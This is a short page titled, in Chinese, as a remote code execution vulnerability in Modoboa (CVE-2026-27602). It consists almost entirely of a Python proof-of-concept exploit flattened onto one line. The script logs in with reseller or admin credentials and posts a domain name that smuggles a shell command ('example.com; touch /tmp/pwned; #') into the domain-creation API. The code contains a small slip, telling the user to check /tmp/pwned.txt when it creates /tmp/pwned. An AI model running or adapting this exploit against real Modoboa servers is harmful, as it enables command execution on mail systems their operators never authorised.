CVE-2026-27602 Modoboa 远程代码执行漏洞 (RCE)

import requests # Target URL configuration target_url = "http://target-modoboa-instance/api/v1/domains/" # Attacker's credentials (Requires Reseller or SuperAdmin privileges) credentials = { "username": "[email protected]", "password": "your_password" } # Malicious payload containing shell metacharacters # The payload attempts to create a file 'pwned.txt' in /tmp/ # Domain name: `example.com; touch /tmp/pwned; #` malicious_domain = { "name": "example.com; touch /tmp/pwned; #", "quota": 100 } # Authenticate and obtain token session = requests.Session() try: login_resp = session.post("http://target-modoboa-instance/api/v1/tokens/", json=credentials) if login_resp.status_code != 200: print("[!] Authentication failed.") exit(1) token = login_resp.json().get('token') headers = {"Authorization": f"Token {token}"} # Send the malicious domain creation request print("[*] Sending exploit payload...") exploit_resp = session.post(target_url, json=malicious_domain, headers=headers) if exploit_resp.status_code == 201: print("[+] Domain created successfully. Check /tmp/pwned.txt on the target server.") else: print(f"[-] Exploit failed. Status Code: {exploit_resp.status_code}") print(exploit_resp.text) except Exception as e: print(f"[!] An error occurred: {e}")